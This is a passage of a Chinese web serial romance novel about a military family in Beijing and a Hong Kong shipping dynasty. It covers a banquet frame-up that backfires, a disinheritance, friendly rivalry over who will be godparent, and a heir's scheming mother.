她弯下腰,捡起那张白凝凝和陈慕白的“远景照”,高高举起,对着台下所有的镜头,声嘶力竭地控诉道: “大家看清楚了!这就是她背着我女婿,和别的男人私会的证据!她肚子里的孩子,根本就不是傅家的种!她是个骗子!是个不知廉耻的荡妇!” “轰——!” 整个宴会厅,彻底炸了! “野种”、“私会”、“荡妇”……这些最恶毒、最不堪的词汇,通过无数的话筒,传遍了整个大厅! 楚小小坐在台下,看着台上那个被千夫所指、脸色煞白(装的)的白凝凝,脸上露出了得意的笑容。 成了!一切都结束了! 然而,就在李茹以为自己已经胜券在握,准备欣赏白凝凝崩溃求饶的丑态时,主席台上的白凝凝,却只是静静地看着她,那双清冷的眸子里,非但没有一丝慌乱,反而……还带着一抹淡淡的嘲讽。 “说完了吗?”白凝凝拿起话筒,声音平静得可怕。 李茹一愣。 “李女士,”白凝凝看着她,缓缓地说道,“你说我肚子里的孩子是野种,证据,就是这些照片吗?” “正好我也手里也有几张照片给大家欣赏欣赏。” 她将照片,对着台下所有的高清摄像机镜头,缓缓地展示着。 正是楚小小和赵宇轩私会的原始照片!照片上,两人的脸,清晰无比! 紧接着,是第二张、第三张……两人亲密揽腰的,赵宇轩将一沓厚厚的钞票塞进楚小小包里的……每一张,都清晰得不容辩驳! 楚小小难以置信地看着那张照片,浑身的血液,在刹那间凝固! 全场再次哗然!所有人的目光,都像探照灯一样,在台上的李茹和台下的楚小小之间来回扫视! “这……这是污蔑!是假的!”李茹还在做着最后的挣扎。 第82章 爆雷,最大的绿毛龟 “是吗?”白凝凝冷笑一声,她的声音,通过话筒,清晰地传遍了整个大厅,“那照片上这个男人,李女士想必也不认识吧?没关系,我来为大家介绍一下。” 屏幕上,出现了赵宇轩的个人资料。 “赵宇轩,港岛赵氏集团的私生子。同时,他也是不久前,那起差点危害到整个军区战士安全的‘问题军服案’的幕后主犯!” “轰——!” 这个消息,比刚才的“出轨照”更具爆炸性! 台下有记性好的记者,立刻就想了起来! “我想起来了!上次傅家大房的傅建军主任,就是因为这个案子被撤职的!” “对啊!当时不是说,他儿媳妇楚小小也牵涉其中,只是因为怀着孕,才免于起诉的吗?” “我的天!她竟然还在和那个案子的主犯私下见面?!还收钱?!” 所有的线索,在这一刻,全都串联了起来! 所有人的目光,再次聚焦在了楚小小的身上!那目光里,充满了鄙夷、怀疑和愤怒!一个差点害了全军战士的“罪人”,一个让自己的公公赔上了政治前途的“扫把星”,竟然还在和主犯勾勾搭搭?! 她到底想干什么?!她和那个主犯之间,到底是什么关系?! 楚小小被那千万道如同实质的目光,刺得体无完肤!她只觉得天旋地转,眼前发黑! 而就在这时,宴会厅的大门,被缓缓推开。 傅清寒带着警卫员小刘,以及两名穿着制服的公安人员,一步步地,沉稳地,走了进来。 他走到台上,接过白凝凝手中的话筒,他甚至没有看李茹一眼,只是用那双淬了冰的、带着滔天怒火的眼睛,死死地盯着台下那个已经面无人色、摇摇欲坠的楚小小。 他的声音,通过音响,清晰地传遍了整个大厅的每一个角落,也宣判了她们母女的死刑: “我们有理由怀疑,楚小小女士,不仅涉嫌参与‘问题军服案’,更涉嫌伙同主犯赵宇轩,进行更深层次的、危害国家经济安全的犯罪活动。现在,请你跟你母亲李茹女士,一起跟我们回去,配合调查!”傅清寒的话,像最后一根稻草,彻底压垮了楚小小和李茹的心理防线。 “不……不是我!我没有!”楚小小疯了一样地从座位上站起来,指着台上的李茹,为了脱罪,她不惜将自己的亲生母亲推入深渊,“都是她!都是我妈逼我这么做的!她说傅家要完了,让我给自己留条后路!赵宇轩也是她让我去联系的!我什么都不知道!我只是个听话的女儿啊!” “你这个不孝女!你胡说八道什么!”李茹没想到,自己最疼爱的女儿,在最关键的时刻,竟然会反咬自己一口!她气得浑身发抖,也顾不上什么体面了,指着楚小小就破口大骂,“你这个没良心的东西!当初是谁哭着求我,让你嫁进傅家?是谁嫌弃傅向阳没本事,在外面勾三搭四?你肚子里的那个种,到底是谁的,你心里没数吗?!” “我的孩子是向阳哥的!是你!是你这个恶毒的女人,为了钱,想把我的孩子卖给赵宇轩!” “你放屁!” 一时间画风突变,从精心策划的栽赃陷害变成了母女反目、互揭老底。 台下的宾客们哪里见过这样的阵仗,一个个看得目瞪口呆,记者们的闪光灯更是闪得像过年一样,生怕错过任何一个劲爆的细节。 傅家主宅的傅向阳,正坐在轮椅上,通过电视直播,看着这一切。当他听到李茹和楚小小那番歇斯底里的对话时,他整个人都僵住了。 野种? 勾三搭四? 他挣扎着想从轮椅上站起来,却因为双腿无力,又重重地摔了回去!他双目赤红,死死地瞪着电视上那个已经面如死灰的楚小小高高隆起的肚子,又想起那晚在招待所,楚小小是如何主动地、热情地引诱自己…… 一个可怕的疯狂地涌上心头! 他被骗了!他从头到尾,都被这个女人骗了!他不仅喜当爹,还成了全京市最大的绿毛龟! 他当成宝的儿子,他唯一的希望,他为之忍受了所有屈辱的“金孙”,竟然是个野种?! “噗——!” 一口鲜血,猛地从傅向阳口中喷出! —— 当晚,傅家小院。 傅老爷子坐在太师椅上,一夜之间,仿佛苍老了十岁。他听完了警卫员对宴会上发生的一切的汇报,久久没有说话。 白凝凝走上前,为他奉上一杯安神的参茶。 老爷子接过茶杯,却没喝,他看着站在面前的傅清寒和白凝凝,眼中充满了深深的愧疚。 “清寒,凝凝……是爸……对不住你们。” 傅清寒摇了摇头,沉声说道:“父亲,这件事,不怪您。是大哥一家,咎由自取。” “咎由自取?”傅老爷子闻言,像是被这个词刺痛了,他浑浊的老眼里,忽然涌上了泪光,身形猛地一震!他将茶杯重重地放在桌上,用拐杖敲着地面,声音里,是前所未有的痛苦和自嘲! “说得好!是他们咎由自取!可我呢?!我这个当父亲的,当爷爷的,难道就没有错吗?!” 他看着傅清寒,声音里充满了悔恨: “向阳出事之后,医生说……说他这辈子,都不可能再有自己的孩子了。我当时,只觉得天都塌了。我觉得,是我们傅家,对不起他,对不起大房这一脉。” 老爷子说到这里,脸上露出了深深的自嘲和痛苦: “我不是不知道楚小小那个女人品行不端!她贪婪、虚荣,还牵扯进了军服案里!我不是不知道周玉芬眼皮子浅,李茹更是个刻薄的搅家精!可我……我都忍了!” “我总想着,只要她能安安稳稳地生下我们傅家唯一的第四代,她那些毛病,我都可以捏着鼻子认了!为了这个‘金孙’,我一次又一次地纵容周玉芬的贪婪,纵容楚小小的骄纵……” “我以为,我这是在为大房打算,是在为傅家的香火计。可我没想到,我这根本不是为傅家计!我这是姑息养奸!是亲手,将一窝子毒蛇,养在了自己家里!还差点,害了你们!” 傅老爷子说到这里,猛地用拐杖,狠狠地敲了一下地面,那双浑浊的老眼里,迸发出从未有过的、极致的羞愤和自嘲! “我傅明博,戎马一生,什么大风大浪没见过!什么阴谋诡计没识破!到头来……到头来,我竟然被一个还没出生的野种给拿捏了!!” 第83章 干爹之争 这句话,他几乎是吼出来的!那声音里,带着无尽的悔恨和被愚弄的滔天怒火! 他竟然为了一个来路不明的野种,去委屈自己最优秀的儿子和最孝顺的儿媳!这简直是他一生中最大的污点! 傅老爷子说到最后,老泪纵横,悔不当初。 他终于明白了,有些东西,烂了,就是烂了。一味地粉饰太平,只会让它烂得更彻底,甚至会污染到旁边的好东西。 他擦干眼泪,那双浑浊的老眼里,重新凝聚起了属于一个开国元勋的、杀伐决断的冷光! “是时候,纠正这个错误了。” 他看着傅清寒,眼中是最后的一点希冀和托付。 “清寒,你之前说的分家,我已经想好了。” “不用等了!明天!明天就办!” “我名下所有的财产、房产、股份,全部由你和凝凝继承!你大哥那边……我会另外给他们一笔钱,足够他们下半辈子饿不死。但从今往后,他们与我傅家,再无半分关系!” “爸……”傅清寒还想说什么。 “不用再说了!”傅老爷子摆了摆手,脸上满是疲惫和决断,“这个家,早就烂了。我不能再让那些烂人烂事,来拖累你们,拖累我未来的……亲孙子!” 他将目光,落在了白凝凝还一片平坦的小腹上,那双浑浊的老眼里,终于,重新燃起了一点名为“希望”的光。 解决了傅家大房的闹剧,又定下了分家的章程,傅清寒和白凝凝的小院,终于迎来了真正的、不被打扰的宁静。 那场惊心动魄的“鸿门宴”过后,楚小小和李茹母女,以及整个傅家大房,彻底沦为了京市军区大院里,人人避之不及的瘟神和最大的笑柄。 大院里的风向,变得前所未有的统一。 以前那些爱在背后嚼舌根的军嫂们,如今见了白凝凝,都是隔着老远就堆起满脸的笑容,热情地喊着“凝凝”或是“傅二家的”,语气里充满了敬畏和讨好。偶尔有不知情的新来者私下议论,也立刻会被“老人”们拉到一边警告: “你可小点声!傅家二媳妇,那是咱们大院的‘活菩萨’!忘了陈家那个被送到马场去的大小姐了?傅团长为了媳妇儿,说送走就送走,眼睛都不眨一下!你掂量掂量自己有几个胆子!” 而关于傅家大房的,则只剩下了鄙夷和唾弃。傅向阳在办理完离婚手续后,彻底沉寂了下来,变成了一个终日躲在房间里,靠酒精麻痹自己的废人。 在女子监狱里,周玉芬在得知自己心心念念的“金孙”是个野种后,当场气血攻心,喷出一口鲜血,晕死过去。醒来后,整个人便疯疯癫癫,彻底垮了。 傅清寒和白凝凝的小院的宁静很快被打破了。 第一个正式“登堂入室”来探望的,是秦悦。 她提着大包小包的进口水果和营养品,一进门就咋咋呼呼地喊道:“我的宝贝儿!快让我看看!上次知道消息太匆忙了,都没来得及好好关心一下我们家未来的‘小祖宗’!” 她小心翼翼地凑到白凝凝身边,看着她那还很平坦的小腹,啧啧称奇:“真神奇啊!这里面竟然已经有个小家伙了!干妈给你带了好多好吃的!” 她正想伸手摸一摸,就被旁边像门神一样杵着的傅清寒,一个冷冷的眼神给制止了。 “离她远点,毛手毛脚的。”傅清寒像护着稀世珍宝一般将白凝凝护在自己身后,一脸警惕地看着秦悦。 “嘿!我这暴脾气!”秦悦叉着腰,毫不示弱地回瞪过去,“傅清寒我告诉你!从凝凝摸出滑脉的那一刻起,我就是这孩子的头号干妈!你别想跟我抢!” 就在这时,陆泽远和陈慕白也联袂而至。两人手里同样提着大包小包的礼物,脸上都带着真诚的喜悦。 “凝凝,恭喜你。”陈慕白温和地笑着,将一个包装精美的长命锁递了过去。 陆泽远则推了推眼镜,递上了一份厚厚的文件夹,一脸严谨地说道:“这是我整理的,目前国内外最先进的孕期营养方案和新生儿护理指南,中西医结合的,你应该用得上。” 秦悦立刻起哄道:“哎,你们俩,光送礼可不行啊!干爹的位置,可就一个了!你们俩谁来?” 陈慕白闻言,难得地开起了玩笑,清了清嗓子,一本正经地说道:“那自然是我。我与凝凝相识最早,情同兄妹,这个干爹,舍我其谁?” 他话音刚落,一旁的陆泽远就扶了扶眼镜,慢条斯理地、一针见血地吐槽道: “陈书记,此言差矣。凝凝是你爷爷亲认的干孙女,从辈分上,她是你妹子。你是孩子的舅舅。一个舅舅,跑来跟我们这些外人,抢一个‘干爹’的名分,这不合规矩吧?” 一句话,就把陈慕白给噎住了。 陆泽远这才转向白凝凝,脸上带着一丝志在必得的微笑,继续说道:“所谓‘术业有专攻’,我精通医药和育儿理念,能为孩子的成长提供最科学的指导。从优生优育的角度来看,我,才是干爹的最佳人选。” 眼看着陆泽远有理有据、逻辑清晰地“赢得”了辩论,陈慕白只能无奈地摇了摇头,笑着认栽:“行,说不过你。这个干爹,让给你了。” 而傅清寒的脸色,已经彻底黑了下来。 他看着这群人,当着他的面,就安排好了他孩子的“舅舅”、“干爹”、“干妈”,完全没把他这个亲爹放在眼里,身上那股子独有的的占有欲,开始疯狂地往外冒。 他上前一步,以一种不容置喙的姿态,将白凝凝从三人的“包围圈”里解救出来,揽进自己的怀里。然后,他用那双深邃的黑眸,冷冷地扫视了一圈,薄唇轻启,一字一句地宣布道: “他(她)有亲爹。一个就够了。” 一句话,就将所有人的念想,都堵死了。 赶走了那群“不怀好意”的访客,傅清寒正式开启了自己的“奶爸预备役”生涯。 这位在战场上杀伐果断的傅大团长,在“如何照顾孕妇”这件事上,却笨拙得像个新兵蛋子。 白凝凝早上一睁眼,床头必定摆着一杯温度刚刚好的温水。她吃饭时,傅清寒会像个政委一样,对着书上的食谱,一样一样地监督她。 他甚至还买回来一台录音机,每天对着白凝凝的肚子,用他那低沉磁性的、毫无起伏的嗓音,一本正经地朗读着《唐诗三百首》。 “白日依山尽,黄河入海流……听到了吗?这是你爹在给你进行胎教。” 白凝凝看着他那副严肃又认真的模样,常常忍俊不禁,笑得肚子疼。 这天下午,她又开始昏昏欲睡,秦悦提着一篮子新鲜的草莓,来“八卦”了。 “哎,你听说了吗?”秦悦一边往嘴里塞着草莓,一边含糊不清地说道,“楚小小那个案子,有新进展了。” “哦?”白凝凝正懒洋洋地靠在躺椅上晒太阳,闻言,也来了点兴趣。 “她前两天不是在看守所里,突然喊肚子疼,说是有了‘流产征兆’吗?结果你猜怎么着?人刚一送到医院,就被一伙人给接走了!说是要带她去更好的地方‘保胎’!你说搞笑不?野种也有人上赶子养啊?” 第84章 从地狱到天堂,气运之子? “哦?”白凝凝正懒洋洋地靠在躺椅上晒太阳,闻言,也来了点兴趣。 “她前两天不是在看守所里,突然喊肚子疼,说是有了‘流产征兆’吗?结果你猜怎么着?人刚一送到医院,就被一伙神秘人给接走了!说是要带她去更好的地方‘保胎’!你说好不好笑?” 秦悦往白凝凝身边凑了凑,压低了声音,感叹道:“这个楚小小,还真是打不死的小强啊!都这样了,竟然还有人保她。她那个奸夫叫什么赵宇轩的,还挺有情有义的?” 白凝凝闻言,只是淡淡一笑。怎么可能?若真是奸夫有情义,也不至于闹成现在这样。恐怕这里面还有别的事。 就在这时,傅清寒从外面开会回来。他一进门,就听到了秦悦的这番话。 他脱下军帽,递给警卫员,然后才走到凝凝身边坐下,极其自然地拿起一颗草莓,喂到她嘴边。 “有情有义难说,”他看着秦悦,声音平淡地陈述着一个惊人的事实,“但那个赵宇轩确实有点‘本事’。” 傅清寒将刚刚调查清楚的消息,缓缓地说了出来。“楚小小保外就医是港岛赵家动用的关系。” “港岛?赵家?”这里面还有港岛的事?凝凝眨眨眼,之前她看书的时候并没有这些情节,可能是她穿过来之后的蝴蝶效应。 “是,赵宇轩因为行贿和参与‘问题军服案’,本来已经被正式批捕。但就在昨天,他也被保释出去了。所有的罪名,都被推给了几个南方的‘替死鬼’。” “啊……?”秦悦吃惊看他,那么严重的事,就这样高高扬起,轻轻放下? 傅清寒看着一脸震惊的秦悦和若有所思的白凝凝,最终抛出了那个最重磅的炸弹: “赵宇轩,根本不是什么普通的南方商人。他的真实身份,是港岛航运巨头——赵家的私生子。” “赵家??!”秦悦眼睛瞪得溜圆,嘴里的草莓都忘了咽下去,直勾勾看着他。“港岛大亨的私生子?!真的假的?!” 这个消息,实在是太超乎她的想象了! “能让军方和地方都松口,花了大价钱把他从这种案子里捞出来,除了他们家,也没别人了。”傅清寒的语气里,带着一丝冰冷的嘲讽。 秦悦消化了这个惊人的消息后,脸上露出了极度困惑和鄙夷的表情。她百思不得其解地摇了摇头,最后得出了一个结论: “港岛大亨的私生子,什么样的女人没见过?他能看上楚小小?图她什么啊?图她会算计?图她心眼多?” “这男的有病吧?!” “他不是有病,”白凝凝一直安静地听着,此刻却忽然开口,声音平静而又笃定,“他是……别有所图。” 秦悦疑惑地看向她。 白凝凝从躺椅上坐起身,拿起一颗草莓,慢条斯理地剥着,像是自言自语,又像是在分析给她听:“悦悦你想,赵宇轩是什么身份?港岛豪门的私生子。这种身份,最是尴尬。上,比不过名正言顺的嫡子;下,又不甘心当个默默无闻的富家翁。他这种人,野心最大,也最会审时度势。” “他看上楚小小,肯定不是因为什么爱情。而是因为,他看中了楚小小‘傅家长孙媳’的身份标签和她肚子里的孩子。” “‘傅家长孙媳’的身份是进入内地顶级圈子的人脉。只是孩子,港市那种家庭都积极看中子嗣,有一个孩子,哪怕是私生子,将来也是争夺家产的筹码。所以楚小小,对他而言,不是爱人,而是一张能帮他撬动更大财富和权力的、极其重要的‘王牌’。” 白凝凝三言两语,就将赵宇轩那深藏不露的野心和算计,剖析得清清楚楚。 秦悦听得目瞪口呆,半晌才反应过来,对着白凝凝竖起了大拇指:“我的天,宝贝儿,你这脑子也太好使了吧!不去当侦探都屈才了!这么说来,楚小小现在被赵家接走,岂不是……羊入虎口?” “是,也不是。”白凝凝摇了摇头,眼中闪过一丝冷意,“楚小小这个人,自私又狠毒,但她不蠢。她肯定也知道赵宇轩不是善茬。她现在选择跟赵宇轩走,不过是两害相权取其轻罢了。比起待在监狱里,去港岛当一个被圈养的‘金丝雀’,至少还能保住荣华富贵。” “这两个人,不过是各怀鬼胎,互相利用罢了。” —— 凝凝他们想的一点没错,但事实可比报告精彩多了。 就在几天前,赵宇轩还蜷缩在京市某看守所里。 那冰冷潮湿的角落,让他整个人都快要疯了。 他知道,自己彻底完了。 行贿军方,倒卖劣质军需,无论哪一条,都足够他将牢底坐穿。他那个远在港岛的、名义上的父亲赵建城,一向视他为家族的耻辱,根本不可能为了他这个私生子,动用关系来内地捞人。 就在他万念俱灰之际,监牢的铁门,被“哗啦”一声打开了。 一名穿着高级西装的精英律师,在一群看守所领导的点头哈腰中,走到了他的面前,恭敬地告诉他,他被保释了。 赵宇轩浑浑噩噩地换上衣服,坐上了那辆挂着港岛牌照的黑色劳斯莱斯,依旧觉得如在梦中。 车子平稳地驶向机场。前排的律师,用一种公事公办的、不带任何感情的语气,向他汇报了第一个消息。 “您的父亲,赵建城先生已于昨天晚上,因心脏病突发,抢救无效,已经去世了。” 赵宇轩闻言,先是一愣,随即心中涌起的,不是悲伤,而是一种麻木的、自嘲的了然。 死了?自己名义上的父亲死了。那现在,赵家自然就是他那个高高在上的好哥哥赵承熙的天下了。 他瞬间就“明白”了自己被捞出来的原因——无非就是让他回去参加葬礼,当一个“道具”,让他大哥赵承熙在众人面前,表演一出“兄友弟恭”、“不忘手足”的戏码罢了。 就在他已经接受了自己“工具人”的命运时,前排的律师又抛出了第二个足以让他惊呆的重磅消息。 “另外,您的兄长,赵承熙先生,在接到噩耗后,因悲伤过度,引发了急性中风,目前……已经处于植物人状态,彻底失去了继承能力。” “什……什么?!” 第85章 原来是我妈厉害 赵宇轩猛地从座椅上弹了起来,头狠狠地撞在了车顶上,但他却感觉不到一丝疼痛! 他大脑“嗡”的一声,一片空白!大哥……废了? 他缓了好一会儿,才消化完这个石破天惊的消息。 父亲死了,大哥成了植物人…… 那也就是说…… 一个他以前连做梦都不敢想的、荒诞到极致的念头,疯狂地冒了出来! 律师仿佛看穿了他的心思,通过后视镜,看着他那张因为震惊而扭曲的脸,微微一笑,用一种全新的敬畏的语气,缓缓说道: “所以,赵先生。从法律意义上来说,您现在是赵氏集团……唯一的合法继承人。” “轰——!” 狂喜!巨大的、难以言喻的、仿佛要将他整个人都撑爆的狂喜,瞬间席卷了他的全身! 他觉得,自己就是天命所归!是老天爷都在帮他! 行贿军方又怎样?倒卖劣质军需又怎样?! 那些足以将一个普通人彻底摧毁的滔天罪责,在他这个“天命之子”的身上,竟然变得如此不痛不痒!甚至,还成了他一步登天的垫脚石! 他不仅没事,反而还因为这场“意外”,即将得到他以前做梦都不敢想的一切! 什么法律?什么规则?在绝对的运气和权力面前,都不过是笑话! —— 当赵宇轩乘坐私人飞机,抵达港岛机场时,前来接机的,是叔父赵建邦的亲信。 车队一路疾驰,驶入了那栋他既熟悉又陌生的半山别墅。 整个别墅,都笼罩在一片肃穆的白色之中。原本争奇斗艳的鲜花,全部换成了素雅的白菊。所有的佣人,都穿着黑色的制服,噤若寒蝉,走路都踮着脚尖,生怕发出一丝声音。空气中,弥漫着一股浓重的悲伤压抑的气息。 赵宇轩走进客厅,一眼就看到了他那个穿着一身黑色丧服的母亲——梁美玲。 她穿着一身得体的黑色旗袍,脸上未施粉黛,素净的脸上,那双漂亮的眼睛又红又肿,像是哭了几天几夜。她被贴身女仆萍姐搀扶着,步履踉跄,在宾客面前,数度因为“悲伤过度”而险些晕厥。那副悲痛欲绝的模样,任谁看了,都要赞一句“情深义重”。 他也看到了他的叔父赵建邦。 他像一个最忠诚的臣子,代替“悲伤过度”的嫂子,正在客厅里有条不紊地处理着所有对外事务,接待着前来吊唁的宾客。他的脸上的哀戚和稳重,那份在家族遭遇巨变时,挺身而出、稳定大局的担当,赢得了所有来宾的一致敬佩。 在见到赵宇轩的那一刻,梁美玲那双“悲痛”的眼睛里,才终于透出了一丝光亮,她颤抖着伸出手,声音沙哑地哭喊道: “宇轩……我的儿……你可算回来了!你爸他……你大哥他……我们这个家……可怎么办啊!” 她扑过来,紧紧地抱住赵宇轩,哭得撕心裂肺,仿佛要将所有的悲伤和无助,都发泄出来。 赵宇-轩被她这“真情流露”的悲痛所感染,他拍着母亲的背,笨拙地安慰着:“妈,别哭了,我回来了,一切有我。” —— 夜深人静,宾客散尽。 梁美玲才在萍姐的搀扶下,带着赵宇轩走进了别墅深处,一间平日里谁也不许进入,她私人的小佛堂。 佛堂里,青烟袅袅。 一关上门,隔绝了外界所有的视线。梁美玲脸上的所有悲痛和脆弱,在瞬间消失得无影无踪! 她直起身,不再需要任何搀扶。她那双原本红肿的眼睛,此刻变得锐利如鹰,闪烁着冰冷的、算计的光芒! “妈……你……” 梁美玲没说话,走到佛台前,从一个暗格里拿出了一份文件,扔在了赵宇轩面前。 “看看吧。” 赵宇轩诧异低头,看到去看,手中的不是文件,而是…… 写着“亲子关系概率大于99.99%”的鉴定报告…… 他的瞳孔瞬间缩成一个针尖,他张了张嘴想说什么,但喉咙里像是被什么东西堵住了,一个字也发不出来。他想问“为什么”,想问“怎么会”,但巨大的震惊,让他的声带,彻底罢工了。 一个荒谬又战栗的真相,呼之欲出! 梁美玲看着儿子那张因为震惊而变得煞白、甚至有些滑稽的脸,嘴角勾起一抹满意,又带了几分讥诮的笑容。她缓缓地、清晰地,替他说出了那个他问不出口的答案: “给你重新介绍一下。这位,不是你的叔父,而是你的……亲生父亲。” 他终于明白了! 他能成为赵氏的继承人,这所有的一切,都不是什么运气! 而是他妈!是他这个心深如海,能忍旁人所不能忍的亲妈! 什么心脏病!什么中风!全都是骗人的!全都是他眼前这两个人,他真正的父母,筹谋了二十年的惊天阴谋! 他想起了上一次捞自己出来时母亲那句“宇轩他就是个废物”,想起了大哥那轻视的眼神……原来,这一切,都是母亲的伪装! 他看着自己那个看似柔弱、实则手腕通天的母亲,又看了看那个一直对他“关怀备-至”的叔父,现在的亲生父亲,敬畏、佩服、恐惧和狂喜的复杂情绪,瞬间冲垮了他的理智! 他佩服!他太佩服自己母亲的手腕了! “爸!妈!”他“噗通”一声跪在地上,发自内心的,对强者的佩服! 赵建邦和梁美玲满意地对视了一眼,扶起了他。 “好儿子,”赵建邦拍了拍他的肩膀,“从今天起,你就是赵家名正言顺的少主!以前在内地受的那些委屈,我们加倍讨回来!” 赵宇轩站起身,眼中燃烧着复仇的、疯狂的火焰。他想起了让他吃了大亏的“神医”白凝凝,更想起了那个把他送进地狱的“活阎王”傅清寒。 他现在是港岛赵家的太子爷了,弄死他们,就像碾死两只蚂蚁一样简单! 第86章 楚小小志得意满 就在他志得意满的时候,梁美玲突然开口: “那个叫楚小小的女人,肚子里的孩子,确定是你的吗?” “当然是!”赵宇轩想都没想就回答,随即又有些不耐烦地说道,“妈,您提她干什么?一个上不了台面的蠢女人而已。我现在的身份可是今非昔比了,想给我生孩子的女人能从这里排到深市,谁还要她?” 楚小小,早就身败名裂,在他看来根本不配再出现在他的世界里。 然而,梁美玲,却比他想得更远。 她看着儿子满不在乎的样子,只是淡淡地开口,问了一句: “想给你生孩子的女人多的是,但只有这一个是现成的。”梁美玲冷冷地打断了他,那双锐利的眼睛里,闪烁着政治家般的精明和算计。 她一针见血地指出他现在的处境: “你别忘了,你现在只是名义上的‘唯一继承人’。董事会里,那些看着你长大的叔伯们,有几个是真心服你的?赵承熙虽然倒了,但他的心腹还在!你根基未稳,他们随时都可能把你从这个位置上掀下来!” 她顿了顿,语气变得更加冰冷和坚决: “所以,你现在最需要的,不是去报复那些不相干的人。而是尽快,拿出一个能堵住所有人嘴的、最有力的筹码——赵家的第四代继承人!一个长孙!” 赵宇轩瞬间就明白了母亲的意思! “妈,”他对着梁美玲,冷冷地说道,“你放心。我会立刻派人,把楚小小从内地接过来。让她安安分分地,把我的儿子生下来。” “不,”梁美玲摇摇头,“这件事,不用你操心,我已经安排好了。你来接她性质就不一样了。我来接,看中的是孩子,而你来接看中的是人。” 她看着儿子,像是在传授自己毕生的权谋之术: “记住,宇轩。一个合格的继承人,永远不要让别人抓住你的把柄。楚小小和她肚子里的孩子,是你上位的第一块踏脚石,但她们,也可能成为你未来最大的污点。” “我会让她以‘养病’的名义,被秘密地接过来。生下孩子后,给她一笔钱,让她从这个世界上,彻底消失。而你,赵家的太子爷,未来会有更清白、更门当户对的妻子,来做这个孩子的‘母亲’。” 赵宇轩看着自己这个谈笑间就已经安排好了一切的母亲,心中那股敬畏和佩服,又上了一个新的台阶! 他点了点头,这一次,复仇的火焰渐渐暗下去,隐藏在内心更深处,更多了一丝算计。 他深吸一口气,“我明白了,妈。” “至于那个白凝凝和傅清寒……”他一字一句,从牙缝里挤出这句话,“等我彻底坐稳了这个位置,我会让他们知道,得罪我赵家,是什么下场!” —— 从京市看守所那冰冷潮湿的囚室,到港岛浅水湾这栋金碧辉煌的半山别墅,楚小小只用了一天的时间。 她感觉自己,真正的,从地狱,一步踏入了天堂。 这里有全世界最顶级的奢侈品,有她上辈子连想都不敢想的奢华生活。当她躺在能俯瞰整个维多利亚港夜景的无边际泳池边,喝着菲佣端来的顶级燕窝时,她心中充满了对过去的鄙夷和对未来的无限憧憬。 傅向阳那个废物,算什么? 她甩了他,甩了那个泥潭,过上了更好、更顶级的日子!她楚小小,天生就该属于这里! 而赵宇轩,虽然对她态度冷淡,但那又如何?男人都是大猪蹄子,只要她肚子里这个“龙种”落地,她还怕抓不住他的心? 她甚至开始有恃无恐地,在梁美玲面前,耍起了自己的“小聪明”。 她知道,这种豪门大家,最看重的就是子嗣,尤其是男孩。于是,她开始刻意地表现出对酸味食物的偏爱。 “哎呀,这个柠檬好酸,不过我好喜欢吃。”她在餐桌上,故意做出被酸得龇牙咧嘴,却又爱不释手的模样。 梁美玲只是淡淡地瞥了她一眼,嘴角勾起一抹淡淡的冷笑,却什么也没说,只是吩咐厨房:“既然楚小姐喜欢,以后就多备一些酸梅和柠檬。” 楚小小以为自己的小伎俩得逞了,心中暗暗得意。她觉得,自己已经成功地拿捏住了这位“未来婆婆”的命脉。 几天后,梁美玲带她去了一家港岛最顶级的私立医院,做产检。 当B超探头在她肚子上滑动时,楚小小的心,紧张得快要跳出嗓子眼。仿佛这就是她命运的终极审判! 此时,她想起了白凝凝。 那个她最痛恨、最嫉妒的女人,在傅家主宅那次看似“诅咒”的把脉中,曾凑到她耳边轻声说过的一句话—— “恭喜你,是个男孩儿的脉象。” 楚小小当时只觉得白凝凝是在用这种方式羞辱她,可现在,这句话,却成了她唯一的、救命的稻草! 她死死地盯着B超屏幕,在心里疯狂地祈祷着:男孩!一定要是男孩! 人人不都说白凝凝那个狐狸精不是神医吗?她都说自己怀的是男孩,那就一定是! 楚小小没有哪一次比现在更盼着凝凝的金口玉言生效! “医生,怎么样?”一旁的梁美玲开口了,她的语气很平静,听不出任何情绪。 穿着白大褂的医生,看着屏幕上的图像,扶了扶眼镜,脸上露出了职业性的微笑,用一口标准的粤语说道:“恭喜赵太太,从目前的B超影像来看,胎儿发育得非常好,四肢健全,心跳有力。而且……” 医生顿了顿,将屏幕转向她们,指着上面一个模糊的凸起,笑着说道: “……是个小公子。” “轰——!” 楚小小只觉得一股巨大的狂喜,瞬间冲上了头顶! 男孩!真的是男孩! 白凝凝那个贱人,竟然没有骗她! 她赢了!她真的赢了!她即将成为港岛第一豪门赵家未来继承人的亲生母亲! 第87章 我要成为你 她几乎要忍不住放声大笑!她看着身旁的梁美玲,眼中充满了炫耀和得意,她等着看这个女人对自己感恩戴德! 果然,梁美玲亲自扶她下床,还亲手端来一碗熬得软糯的顶级血燕,脸上的笑容,也变得比之前任何时候都更“慈爱”。 “小小啊,辛苦你了。”她拉着楚小小的手,语重心长地说道,“为了我们赵家的长孙,这段时间,你就安心在这里养胎,什么都不要想,什么都不要做。想要什么,就跟萍姐说,妈一定都满足你。” 妈?梁美玲头一次在她面前用这个自称。这是不是就代表着梁美玲承认了自己的地位?! 楚小小被这突如其来的幸福,冲昏了头脑。她挽着梁美玲的手臂,以一种“准儿媳”的姿态,昂首挺胸地回到别墅。 然而就在她去洗手间补妆时,门外传来了两个菲佣用粤语交谈的声音。她们似乎以为里面没人,说话毫无顾忌。 “哎,你看到没?客厅里那个从内地来的,脸都快翘到天上去了。真以为自己能母凭子贵啊?” “可不是嘛!山鸡还想变凤凰?也不看看自己是什么身份!”另一个声音充满了鄙夷,“我听说啊,她在内地,还嫁过人呢!你看她的那个肚子!真是不要脸!” “啊?就是啊,不是怀着孕,少爷怎么想的?夫人怎么会让她进来的?” “你懂什么!夫人要的,是她那个肚子!那里面啊……是咱们少爷的种。她也就是母凭子贵罢了。不过啊,也就是个生孩子的工具罢了。在我们港岛,最重规矩。像她这种身份的女人,别说进我们赵家的门,就是给宇轩少爷当个情妇,都有些……不够格呢!” “情妇……” “不够格……” 这两个词,像两巴掌狠狠扇在楚小小的脸上! 她刚刚还沉浸在“头号功臣”的喜悦里,转眼间,就被打上了“不够格”的烙印! 你们懂什么!楚小小目眦尽裂,一群没出息的女人!分明就是嫉妒自己,嫉妒自己肚子争气! 我不够格? 他赵宇轩算是什么好人了?不也是情妇生的私生子? 她梁美玲是什么好东西?不也是外面的女人?不也是母凭子贵才有了今天的地位? 楚小小狠狠咬牙,发誓要好好安胎,将来把孩子健健康康生下来,和梁美玲一样成为赵家的主母! —— 第二天下午,梁美玲让她换上一件得体的衣服,陪她一起喝下午茶。 楚小小换上一条看上去就体面光鲜的裙子,欣然前往。 